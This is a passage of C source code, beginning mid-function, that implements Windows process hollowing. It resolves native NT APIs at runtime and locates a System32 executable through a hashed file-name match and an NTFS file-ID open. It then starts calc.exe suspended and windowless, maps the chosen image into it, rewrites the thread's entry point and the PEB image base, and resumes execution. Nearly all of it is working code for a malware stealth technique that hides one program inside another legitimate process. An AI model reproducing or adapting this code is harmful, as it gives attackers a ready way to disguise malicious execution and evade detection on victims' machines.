|
|
|
|
NtQueryDirectoryFile = (NTQUERYDIRECTORYFILE)GetProcAddress(GlobalNtHandle, "NtQueryDirectoryFile");
|
|
NtCreateSection = (NTCREATESECTION)GetProcAddress(GlobalNtHandle, "NtCreateSection");
|
|
NtMapViewOfSection = (NTMAPVIEWOFSECTION)GetProcAddress(GlobalNtHandle, "NtMapViewOfSection");
|
|
NtUnmapViewOfSection = (NTUNMAPVIEWOFSECTION)GetProcAddress(GlobalNtHandle, "NtUnmapViewOfSection");
|
|
RtlNtStatusToDosError = (RTLNTSTATUSTODOSERROR)GetProcAddress(GlobalNtHandle, "RtlNtStatusToDosError");
|
|
NtCreateFile = (NTCREATEFILE)GetProcAddress(GlobalNtHandle, "NtCreateFile");
|
|
NtOpenFile = (NTOPENFILE)GetProcAddress(GlobalNtHandle, "NtOpenFile");
|
|
NtClose = (NTCLOSE)GetProcAddress(GlobalNtHandle, "NtClose");
|
|
NtGetContextThread = (NTGETCONTEXTTHREAD)GetProcAddress(GlobalNtHandle, "NtGetContextThread");
|
|
NtSetContextThread = (NTSETCONTEXTTHREAD)GetProcAddress(GlobalNtHandle, "NtSetContextThread");
|
|
NtResumeThread = (NTRESUMETHREAD)GetProcAddress(GlobalNtHandle, "NtResumeThread");
|
|
NtQueryInformationThread = (NTQUERYINFORMATIONTHREAD)GetProcAddress(GlobalNtHandle, "NtQueryInformationThread");
|
|
NtSetInformationThread = (NTSETINFORMATIONTHREAD)GetProcAddress(GlobalNtHandle, "NtSetInformationThread");
|
|
NtWriteVirtualMemory = (NTWRITEVIRTUALMEMORY)GetProcAddress(GlobalNtHandle, "NtWriteVirtualMemory");
|
|
|
|
RtlAllocateHeap = (RTLALLOCATEHEAP)GetProcAddress(GlobalNtHandle, "RtlAllocateHeap");
|
|
RtlFreeHeap = (RTLFREEHEAP)GetProcAddress(GlobalNtHandle, "RtlFreeHeap");
|
|
RtlQueryEnvironmentVariable_U = (RTLQUERYENVIRONMENTVARIABLE_U)GetProcAddress(GlobalNtHandle, "RtlQueryEnvironmentVariable_U");
|
|
|
|
if (!NtQueryDirectoryFile || !RtlQueryEnvironmentVariable_U || !NtCreateSection || !NtMapViewOfSection ||
|
|
!NtUnmapViewOfSection || !RtlNtStatusToDosError || !NtCreateFile || !NtOpenFile || !NtClose ||
|
|
!RtlAllocateHeap || !RtlFreeHeap || !NtGetContextThread || !NtSetContextThread || !NtResumeThread ||
|
|
!NtQueryInformationThread || !NtSetInformationThread || !NtWriteVirtualMemory)
|
|
{
|
|
return FALSE;
|
|
}
|
|
|
|
return TRUE;
|
|
}
|
|
|
|
HANDLE SubroutineNtCreateFile(LPCWSTR lpFilename)
|
|
{
|
|
HANDLE Handle = INVALID_HANDLE_VALUE;
|
|
NTSTATUS Status = STATUS_SUCCESS;
|
|
IO_STATUS_BLOCK Io = { 0 };
|
|
OBJECT_ATTRIBUTES Attributes = { 0 };
|
|
UNICODE_STRING UnicodeString = { 0 };
|
|
|
|
RtlInitUnicodeString(&UnicodeString, lpFilename);
|
|
InitializeObjectAttributes(&Attributes, &UnicodeString, OBJ_CASE_INSENSITIVE, NULL, NULL);
|
|
|
|
Status = NtCreateFile(&Handle, GENERIC_READ | SYNCHRONIZE, &Attributes, &Io, 0, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ, FILE_OPEN_IF, FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0);
|
|
if (!NT_SUCCESS(Status))
|
|
InternalSetLastError(RtlNtStatusToDosError(Status));
|
|
|
|
return Handle;
|
|
}
|
|
|
|
HANDLE RtlOpenFileByFileId(HANDLE Volume, LPFILE_ID_DESCRIPTOR FileId, DWORD DesiredAccess, DWORD ShareMode)
|
|
{
|
|
return NULL;
|
|
}
|
|
|
|
LONGLONG SubroutineGetNtfsFileId(HANDLE Handle, PLARGE_INTEGER uId, ULONG Hash)
|
|
{
|
|
NTSTATUS Status = STATUS_SUCCESS;
|
|
IO_STATUS_BLOCK Io = { 0 };
|
|
PFILE_ID_BOTH_DIR_INFORMATION DirectoryInformation = NULL;
|
|
LONGLONG FileId = 0;
|
|
|
|
DirectoryInformation = (PFILE_ID_BOTH_DIR_INFORMATION)RtlAllocateHeap(GlobalProcessHeap, HEAP_ZERO_MEMORY, 0x1000);
|
|
if (DirectoryInformation == NULL)
|
|
return ERROR_FAILURE_NULL_BUFFER;
|
|
|
|
while (0 <= (Status = NtQueryDirectoryFile(Handle, NULL, NULL, NULL, &Io, DirectoryInformation, 0x1000, 37, 0, NULL, FALSE)))
|
|
{
|
|
if (DirectoryInformation->NextEntryOffset != 0)
|
|
{
|
|
PBYTE pByte = (PBYTE)DirectoryInformation;
|
|
for (PFILE_ID_BOTH_DIR_INFORMATION Next = (PFILE_ID_BOTH_DIR_INFORMATION)pByte; Next->NextEntryOffset != 0; pByte += Next->NextEntryOffset)
|
|
{
|
|
Next = (PFILE_ID_BOTH_DIR_INFORMATION)pByte;
|
|
if (HashStringFowlerNollVoVariant1aW(Next->FileName) == Hash) //L"cmd.exe"
|
|
{
|
|
RtlCopyMemory(uId, &Next->FileId, sizeof(Next->FileId));
|
|
FileId = Next->FileId.QuadPart;
|
|
goto EXIT_ROUTINE;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
EXIT_ROUTINE:
|
|
|
|
if (DirectoryInformation)
|
|
RtlFreeHeap(GlobalProcessHeap, HEAP_ZERO_MEMORY, DirectoryInformation);
|
|
|
|
if (FileId == ERROR_FAILURE_NULL_BUFFER)
|
|
{
|
|
if (!NT_SUCCESS(Status))
|
|
InternalSetLastError(RtlNtStatusToDosError(Status));
|
|
}
|
|
|
|
return FileId;
|
|
}
|
|
|
|
HANDLE RtlGetVolumeRelativeHandle(VOID)
|
|
{
|
|
HANDLE RootHandle = NULL;
|
|
NTSTATUS Status = STATUS_SUCCESS;
|
|
UNICODE_STRING RootDirectory = { 0 };
|
|
OBJECT_ATTRIBUTES Attributes = { 0 };
|
|
IO_STATUS_BLOCK Io = { 0 };
|
|
|
|
RtlInitUnicodeString(&RootDirectory, L"\\??\\C:\\");
|
|
InitializeObjectAttributes(&Attributes, &RootDirectory, OBJ_CASE_INSENSITIVE, NULL, NULL);
|
|
|
|
Status = NtOpenFile(&RootHandle, FILE_READ_DATA, &Attributes, &Io, FILE_SHARE_READ, FILE_OPEN);
|
|
if (!NT_SUCCESS(Status))
|
|
InternalSetLastError(RtlNtStatusToDosError(Status));
|
|
|
|
return RootHandle;
|
|
}
|
|
|
|
HANDLE YarhLoader(ULONG Hash, PWCHAR TargetDirectory)
|
|
{
|
|
HANDLE TargetDirectoryHandle = INVALID_HANDLE_VALUE;
|
|
LARGE_INTEGER uId = { 0 };
|
|
FILE_ID_DESCRIPTOR FileId = { 0 };
|
|
HANDLE RelativeVolumeHandle = NULL;
|
|
HANDLE hFile = INVALID_HANDLE_VALUE;
|
|
|
|
TargetDirectoryHandle = SubroutineNtCreateFile(TargetDirectory);
|
|
if (TargetDirectoryHandle == INVALID_HANDLE_VALUE)
|
|
goto EXIT_ROUTINE;
|
|
|
|
if(SubroutineGetNtfsFileId(TargetDirectoryHandle, &uId, Hash) == 0)
|
|
goto EXIT_ROUTINE;
|
|
|
|
RelativeVolumeHandle = RtlGetVolumeRelativeHandle();
|
|
if (RelativeVolumeHandle == INVALID_HANDLE_VALUE)
|
|
goto EXIT_ROUTINE;
|
|
|
|
FileId.dwSize = sizeof(FILE_ID_DESCRIPTOR);
|
|
FileId.Type = FileIdType;
|
|
FileId.FileId.QuadPart = uId.QuadPart;
|
|
|
|
hFile = OpenFileById(RelativeVolumeHandle, &FileId, FILE_GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, 0);
|
|
|
|
EXIT_ROUTINE:
|
|
|
|
if (RelativeVolumeHandle)
|
|
NtClose(RelativeVolumeHandle);
|
|
|
|
if(TargetDirectoryHandle)
|
|
NtClose(TargetDirectoryHandle);
|
|
|
|
return hFile;
|
|
}
|
|
|
|
HANDLE SubroutineNtCreateSection(PHANDLE hFile)
|
|
{
|
|
NTSTATUS Status = STATUS_SUCCESS;
|
|
HANDLE hSection = INVALID_HANDLE_VALUE;
|
|
|
|
Status = NtCreateSection(&hSection, SECTION_MAP_READ, NULL, 0, PAGE_READONLY, SEC_IMAGE, hFile);
|
|
if (!NT_SUCCESS(Status))
|
|
InternalSetLastError(RtlNtStatusToDosError(Status));
|
|
|
|
return hSection;
|
|
}
|
|
|
|
PVOID SubroutineNtMapViewOfSection(HANDLE Process, HANDLE hSection)
|
|
{
|
|
NTSTATUS Status = STATUS_SUCCESS;
|
|
SIZE_T View = 0;
|
|
PVOID BaseAddress = NULL;
|
|
|
|
Status = NtMapViewOfSection(hSection, Process, &BaseAddress, 0, 0, 0, &View, ViewShare, 0, PAGE_READONLY);
|
|
if (!NT_SUCCESS(Status))
|
|
InternalSetLastError(RtlNtStatusToDosError(Status));
|
|
|
|
return BaseAddress;
|
|
}
|
|
|
|
PBYTE GetNtHeaders(PBYTE Buffer)
|
|
{
|
|
PIMAGE_DOS_HEADER Dos;
|
|
PIMAGE_NT_HEADERS32 Nt32;
|
|
ULONG MaxOffset = 1024;
|
|
|
|
Dos = (PIMAGE_DOS_HEADER)Buffer;
|
|
if (Dos->e_magic != IMAGE_DOS_SIGNATURE)
|
|
return NULL;
|
|
|
|
if ((ULONG)Dos->e_lfanew > MaxOffset)
|
|
return NULL;
|
|
|
|
Nt32 = (PIMAGE_NT_HEADERS32)(Buffer + Dos->e_lfanew);
|
|
if (Nt32->Signature != IMAGE_NT_SIGNATURE)
|
|
return NULL;
|
|
|
|
return (PBYTE)Nt32;
|
|
}
|
|
|
|
WORD GetNtHeaderArchitecture(PBYTE Buffer)
|
|
{
|
|
PIMAGE_NT_HEADERS32 Nt32 = (PIMAGE_NT_HEADERS32)GetNtHeaders(Buffer);
|
|
if (Nt32 == NULL)
|
|
return ERROR_FAILURE_NULL_BUFFER;
|
|
|
|
return Nt32->OptionalHeader.Magic;
|
|
}
|
|
|
|
BOOL IsImage64Bit(PBYTE Buffer)
|
|
{
|
|
if (GetNtHeaderArchitecture(Buffer) == IMAGE_NT_OPTIONAL_HDR64_MAGIC)
|
|
return TRUE;
|
|
else
|
|
return FALSE;
|
|
}
|
|
|
|
BOOL RtlInitSystem32File(PWCHAR Buffer, LPCWSTR File, BOOL DosPath)
|
|
{
|
|
WCHAR WindowsDirectory[WMAX_PATH] = { 0 };
|
|
WCHAR NtObjectSystem32Directory[WMAX_PATH] = { 0 };
|
|
|
|
if (!RtlGetEnvironmentVariableAltW(L"WINDIR", WindowsDirectory, WMAX_PATH))
|
|
return FALSE;
|
|
|
|
StringConcatW(WindowsDirectory, (PWCHAR)L"\\System32\\");
|
|
|
|
if(!DosPath)
|
|
if (StringCopyW(Buffer, (PWCHAR)L"\\??\\") == NULL) return FALSE;
|
|
|
|
if (StringConcatW(Buffer, WindowsDirectory) == NULL) return FALSE;
|
|
|
|
if (File == NULL)
|
|
return TRUE;
|
|
|
|
if (StringConcatW(Buffer, (PWCHAR)File) == NULL) return FALSE;
|
|
|
|
return TRUE;
|
|
}
|
|
|
|
DWORD RtlGetEntryPointRelativeAddress(PBYTE Buffer)
|
|
{
|
|
PIMAGE_NT_HEADERS64 Nt64 = NULL;
|
|
PIMAGE_NT_HEADERS32 Nt32 = NULL;
|
|
PBYTE AmbiguousNt = GetNtHeaders(Buffer);
|
|
if (AmbiguousNt == NULL)
|
|
return ERROR_FAILURE_NULL_BUFFER;
|
|
|
|
if (GetNtHeaderArchitecture(Buffer) == IMAGE_FILE_MACHINE_AMD64)
|
|
{
|
|
Nt64 = (PIMAGE_NT_HEADERS64)AmbiguousNt;
|
|
return Nt64->OptionalHeader.AddressOfEntryPoint;
|
|
}
|
|
else
|
|
{
|
|
Nt32 = (PIMAGE_NT_HEADERS32)AmbiguousNt;
|
|
return (ULONGLONG)Nt32->OptionalHeader.AddressOfEntryPoint;
|
|
}
|
|
}
|
|
|
|
BOOL ModifyRemoteEntryPoint64(PPROCESS_INFORMATION Pi, ULONGLONG EntryPointVirtualAddress)
|
|
{
|
|
NTSTATUS Status = STATUS_SUCCESS;
|
|
CONTEXT Context = { 0 };
|
|
RtlSecureZeroMemory(&Context, sizeof(CONTEXT));
|
|
Context.ContextFlags = CONTEXT_INTEGER;
|
|
|
|
Status = NtGetContextThread(Pi->hThread, &Context);
|
|
if(!NT_SUCCESS(Status))
|
|
return FALSE;
|
|
|
|
Context.Rcx = EntryPointVirtualAddress;
|
|
|
|
Status = NtSetContextThread(Pi->hThread, &Context);
|
|
if (!NT_SUCCESS(Status))
|
|
return FALSE;
|
|
else
|
|
return TRUE;
|
|
}
|
|
|
|
BOOL ModifyRemoteEntryPoint32(PPROCESS_INFORMATION Pi, ULONGLONG EntryPointVirtualAddress)
|
|
{
|
|
NTSTATUS Status = STATUS_SUCCESS;
|
|
ULONG uReturn = 0;
|
|
WOW64_CONTEXT Context = { 0 };
|
|
RtlSecureZeroMemory(&Context, sizeof(WOW64_CONTEXT));
|
|
Context.ContextFlags = CONTEXT_INTEGER;
|
|
BOOL bFlag = FALSE;
|
|
|
|
Status = NtQueryInformationThread(Pi->hThread, ThreadWow64Context, &Context, sizeof(WOW64_CONTEXT), &uReturn);
|
|
if (!NT_SUCCESS(Status))
|
|
goto EXIT_ROUTINE;
|
|
|
|
Context.Eax = (DWORD)EntryPointVirtualAddress;
|
|
|
|
Status = NtSetInformationThread(Pi->hThread, ThreadWow64Context, &Context, sizeof(WOW64_CONTEXT));
|
|
if (!NT_SUCCESS(Status))
|
|
goto EXIT_ROUTINE;
|
|
|
|
bFlag = TRUE;
|
|
|
|
EXIT_ROUTINE:
|
|
|
|
if(!bFlag)
|
|
InternalSetLastError(RtlNtStatusToDosError(Status));
|
|
|
|
return bFlag;
|
|
}
|
|
|
|
ULONGLONG RtlGetRemotePeb64(PPROCESS_INFORMATION Pi)
|
|
{
|
|
NTSTATUS Status = STATUS_SUCCESS;
|
|
CONTEXT Context = { 0 };
|
|
RtlSecureZeroMemory(&Context, sizeof(CONTEXT));
|
|
Context.ContextFlags = CONTEXT_INTEGER;
|
|
|
|
Status = NtGetContextThread(Pi->hThread, &Context);
|
|
if(!NT_SUCCESS(Status))
|
|
return ERROR_FAILURE_NULL_BUFFER;
|
|
|
|
return Context.Rdx;
|
|
}
|
|
|
|
ULONGLONG RtlGetRemotePeb32(PPROCESS_INFORMATION Pi)
|
|
{
|
|
NTSTATUS Status = STATUS_SUCCESS;
|
|
ULONG uReturn = 0;
|
|
WOW64_CONTEXT Context = { 0 };
|
|
RtlSecureZeroMemory(&Context, sizeof(WOW64_CONTEXT));
|
|
Context.ContextFlags = CONTEXT_INTEGER;
|
|
|
|
Status = NtQueryInformationThread(Pi->hThread, ThreadWow64Context, &Context, sizeof(WOW64_CONTEXT), &uReturn);
|
|
if (!NT_SUCCESS(Status))
|
|
return ERROR_FAILURE_NULL_BUFFER;
|
|
else
|
|
return (ULONGLONG)Context.Ebx;
|
|
}
|
|
|
|
ULONGLONG SubroutineGetImagePebOffset(BOOL Is32bit)
|
|
{
|
|
if (Is32bit)
|
|
return sizeof(DWORD) * 2;
|
|
|
|
return sizeof(ULONGLONG) * 2;
|
|
}
|
|
|
|
BOOL HollowProcessInternal(PBYTE Image, PVOID Base, PPROCESS_INFORMATION Pi, BOOL Is32Bit)
|
|
{
|
|
DWORD EntryPoint = 0;
|
|
ULONGLONG EntryPointVirtualAddress = 0;
|
|
ULONGLONG RemotePeb = 0;
|
|
LPVOID RemoteImageBase = NULL;
|
|
SIZE_T ImageSize = 0;
|
|
NTSTATUS Status = STATUS_SUCCESS;
|
|
|
|
EntryPoint = RtlGetEntryPointRelativeAddress(Image);
|
|
EntryPointVirtualAddress = (ULONGLONG)(Image + EntryPoint);
|
|
|
|
if (Is32Bit){
|
|
if (!ModifyRemoteEntryPoint32(Pi, EntryPointVirtualAddress))
|
|
return FALSE;
|
|
|
|
RemotePeb = RtlGetRemotePeb32(Pi);
|
|
if (RemotePeb == 0)
|
|
return FALSE;
|
|
}
|
|
else{
|
|
if (!ModifyRemoteEntryPoint64(Pi, EntryPointVirtualAddress))
|
|
return FALSE;
|
|
|
|
RemotePeb = RtlGetRemotePeb64(Pi);
|
|
if (RemotePeb == 0)
|
|
return FALSE;
|
|
}
|
|
|
|
RemoteImageBase = (LPVOID)(RemotePeb + SubroutineGetImagePebOffset(Is32Bit));
|
|
|
|
if (Is32Bit)
|
|
ImageSize = sizeof(DWORD);
|
|
else
|
|
ImageSize = sizeof(ULONGLONG);
|
|
|
|
Status = NtWriteVirtualMemory(Pi->hProcess, RemoteImageBase, &Base, ImageSize, NULL);
|
|
if (!NT_SUCCESS(Status))
|
|
{
|
|
InternalSetLastError(RtlNtStatusToDosError(Status));
|
|
return FALSE;
|
|
}
|
|
|
|
return TRUE;
|
|
}
|
|
|
|
BOOL RtlHollowProcess64(HANDLE hSection, PBYTE Mapped, PWCHAR Target)
|
|
{
|
|
PROCESS_INFORMATION Pi = { 0 };
|
|
STARTUPINFOW Si = { 0 };
|
|
HANDLE Process = INVALID_HANDLE_VALUE;
|
|
PVOID RemoteBaseAddress = NULL;
|
|
BOOL bFlag = TRUE;
|
|
|
|
Si.cb = sizeof(STARTUPINFOW);
|
|
|
|
if (!CreateProcessW(Target, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED | DETACHED_PROCESS | CREATE_NO_WINDOW, NULL, NULL, &Si, &Pi))
|
|
return FALSE;
|
|
|
|
Process = Pi.hProcess;
|
|
RemoteBaseAddress = SubroutineNtMapViewOfSection(Process, hSection);
|
|
if (RemoteBaseAddress == NULL)
|
|
return FALSE;
|
|
|
|
if (IsImage64Bit(Mapped))
|
|
bFlag = FALSE;
|
|
|
|
if(!HollowProcessInternal(Mapped, RemoteBaseAddress, &Pi, bFlag))
|
|
return FALSE;
|
|
|
|
NtResumeThread(Pi.hThread, NULL);
|
|
|
|
return TRUE;
|
|
}
|
|
|
|
INT wmain(VOID)
|
|
{
|
|
WCHAR NtObjectSystem32Directory[WMAX_PATH] = { 0 };
|
|
WCHAR NtCalcPath[WMAX_PATH] = { 0 };
|
|
DWORD dwError = ERROR_SUCCESS;
|
|
BOOL bFlag = FALSE;
|
|
HANDLE hFile = INVALID_HANDLE_VALUE;
|
|
HANDLE hSection = INVALID_HANDLE_VALUE;
|
|
PVOID MappedBinary = NULL;
|
|
|
|
if (!RtlInitGlobalApplicationData())
|
|
goto EXIT_ROUTINE;
|
|
|
|
if (!RtlInitSystem32File(NtObjectSystem32Directory, NULL, FALSE))
|
|
goto EXIT_ROUTINE;
|
|
|
|
//0x6257d638 Dispose.exe
|
|
//0xbb309ae5 cmd.exe
|
|
hFile = YarhLoader(0x6257d638, NtObjectSystem32Directory);
|
|
if (hFile == INVALID_HANDLE_VALUE)
|
|
goto EXIT_ROUTINE;
|
|
|
|
hSection = SubroutineNtCreateSection(hFile);
|
|
if (hSection == NULL)
|
|
goto EXIT_ROUTINE;
|
|
|
|
MappedBinary = SubroutineNtMapViewOfSection(GetCurrentProcess(), hSection);
|
|
if (MappedBinary == NULL)
|
|
goto EXIT_ROUTINE;
|
|
|
|
if (!IsImage64Bit(MappedBinary))
|
|
goto EXIT_ROUTINE;
|
|
|
|
if (!RtlInitSystem32File(NtCalcPath, L"calc.exe", TRUE))
|
|
goto EXIT_ROUTINE;
|
|
|
|
if (!RtlHollowProcess64(hSection, (PBYTE)MappedBinary, NtCalcPath))
|
|
goto EXIT_ROUTINE;
|
|
|
|
bFlag = TRUE;
|
|
|
|
system("PAUSE");
|
|
|
|
EXIT_ROUTINE:
|
|
|
|
if (!bFlag)
|
|
dwError = InternalGetLastError();
|
|
|
|
if (MappedBinary)
|
|
NtUnmapViewOfSection(hSection, MappedBinary);
|
|
|
|
if (hSection)
|
|
NtClose(hSection);
|
|
|
|
if (hFile)
|
|
NtClose(hFile);
|
|
|
|
return dwError;
|
|
} |